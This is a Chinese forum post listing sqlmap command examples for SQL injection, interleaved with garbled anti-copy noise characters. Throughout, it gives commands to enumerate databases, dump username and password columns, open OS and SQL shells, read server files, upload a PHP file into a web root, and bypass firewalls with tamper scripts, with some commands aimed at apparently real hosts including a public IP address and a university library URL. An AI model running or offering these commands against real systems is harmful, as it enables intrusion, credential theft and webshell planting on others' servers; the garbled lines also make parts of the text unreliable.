找回密码
 立即注册
查看: 2614|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap
3 r6 Q1 ?  H+ V# n1 ^7 ?4 V4 G3 W
; Q* n  |! R/ s5 L4 k- rupdate :::::>     in the folder   after  execute    following   order : svn update8 z: U7 l/ K& A& g" E" |
4 E; n6 b' }1 A' B" U( L
sqlmap.py -r 1.txt --current-db
5 W/ Q1 U1 r1 o2 w& I1 _
; U/ W* D- U/ e$ P% N8 Wv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”1 {$ n- t4 O$ c1 r  ?5 w. v+ X3 R

, p5 [! n: i8 V) I$ W==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
3 B+ R- |  ?( h+ G3 k/ j猜解数据库
6 p- j: Q9 ?3 ?/ F6 c3 B# [./sqlmap.py -u "injection-url" --dbs
0 `+ L4 T3 V4 c( osqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"7 W: x( d9 W# V# r
" y5 X* a, O2 d8 f
猜解表名
& O: H$ Z6 M2 S+ K./sqlmap.py -u "injection-url" -D database_name --tables  U  x  g0 i( I. _$ o. t
- e- M6 x0 h4 Y* t- ?* C
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"& K2 t1 A5 h% s
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
. E! q# L- l# i4 V; B3 k+ w
* K: i; i7 C  t$ S- Lsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 L( w) k9 D* y) T! [' a9 [/ C
! Z1 {7 ~) \- O# q. F% [/ H. Bsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"- d' t5 g$ L% p' ]
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"- o) {8 P# a- r, v; @& e. x( i
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 9 L2 S0 |8 f: p# P! i9 f
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"# m. Q. {# L8 o0 k' \: N. \& d

0 T, S8 O2 Y' p: _$ ?- m" Osqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"7 H& n. T; V/ g- Z9 j8 l
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"9 N$ |" T5 Z( T1 d( P5 @
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
2 T9 \, c1 c! f: Z) R' ksqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py", @0 A2 W! ]* p' h1 \3 t
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
& ^8 H  @8 ^# t6 E0 p# n9 R9 C# @  u
% e+ A. t8 |0 ~6 L' E4 Rsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了$ s! C3 Y: |+ H! c
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"# |$ ?! L9 y: d( m; F7 H

, T& \+ L/ _& o0 O/ P7 `sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"$ a8 t* i' F" l4 n6 z- f1 D
猜解列名
* L7 R5 `' v+ `/ o./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
- f: B/ ~) O! K+ T+ O, M6 U+ @- x  h& M3 X# ]) ]
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
% b% E2 f+ D; Y7 W  \- C7 [) j* `sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" : y: `" t7 s8 I$ W; s
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 h5 @' n0 Z1 Y: Q* s7 M
# Z. v- }3 }" T" y: q
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
5 o( I( x4 ]0 J- U&submit=Go
  a0 X# H! g( w$ p9 I猜解值3 @8 W7 M* F. G! ~) w
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
7 S2 f/ j2 A" Z; o2 M" ]8 h========================================================) A# ]; c1 F) e( }+ S
搜索表名中包括mana字符的
7 H7 S  V* |* d! u, E3 M/sqlmap.py -u "injection-url" -T mana --search& K5 i4 `; L" u9 }
返回一个交互式sql shell. B$ R. q7 }9 \
/sqlmap.py -u "injection-url" --sql-shell' Y: m! K5 y( T5 U- B
读取指定文件(需权限)
: E# o8 Z. W- J# G! D7 s1 Q4 ^: _/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"# S' c) {" e7 g( V+ u5 A) v
查看当前 用户 及 数据库 * @1 K3 _7 f7 M6 g$ q
/sqlmap.py -u "injection-url" --current-user --current-db
1 S3 b: r/ ^/ C. n6 E! k本地文件 写入 远程目标绝对路径
* @2 L; d' s8 q/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径- r" c' o" f0 J2 A) {
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ) r- i+ \+ A" G9 ^& }) |4 J

) k2 i' R# j5 F/ f. T  vsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径7 ?8 p9 I4 I. i! T( t8 b" G
查看某用的权限: _$ `1 V9 ~( t
/sqlmap.py -u "injection-url" --privileges -U root
- s" D  O  T( J+ }  m2 }查看当前用户是否为dba9 Q2 V' z- T2 h! l7 D1 C) }
/sqlmap.py -u "injection-url" --is-dba
$ i8 A- q; N/ K4 `& c读取所有数据库用户或指定数据库用户的密码
8 y# ~8 l# @/ K; w  Gsqlmap.py -r 1.txt --users --passwords
% I2 T1 R: g0 \' Q7 K& Ksqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
/ i: S" ^% Z7 w& ?- J  K" f& F: c; ~. _( k+ y' y  k( ?
/sqlmap.py -u "injection-url" --passwords -U root
& \" o& ~3 X3 a7 u& R+ N( G! v5 f
--start&&--stop 与 --first&&--last 的区别: r% _, E! ^# s; S
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
1 Q; t- j: N" `% V3 K+ A2 A. ]1 d) h. f3 P( i
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
4 D8 e& d  d, W5 @7 A0 [7 M/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
% M# U! m0 P5 ~/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns% {* ?6 f0 I8 E* `3 V+ K) U6 h  A
9 |$ R4 G% ?: T
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)/ e. F/ G$ c4 g( a9 F- ]
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
3 z1 p& d0 B3 ^7 c% m. T! j! }2 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表